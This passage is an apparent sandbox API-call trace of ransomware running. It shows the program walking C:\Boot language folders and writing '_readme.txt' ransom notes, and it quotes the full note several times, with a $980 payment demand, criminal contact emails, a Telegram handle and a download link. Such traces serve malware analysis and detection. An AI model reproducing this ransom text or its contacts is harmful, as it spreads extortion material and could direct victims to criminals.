(HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.495] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0116.495] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.495] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.495] PathFindFileNameW (pszPath="") returned="" [0116.495] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.496] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.496] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.496] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.496] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0116.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.496] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0116.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.496] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.496] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.497] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.497] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.497] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.497] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.497] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.497] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.497] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.498] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.498] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.498] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.498] PathFindFileNameW (pszPath="") returned="" [0116.498] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.499] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.499] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.499] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.499] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.499] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0116.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.499] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0116.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.500] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.500] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.500] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.500] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, 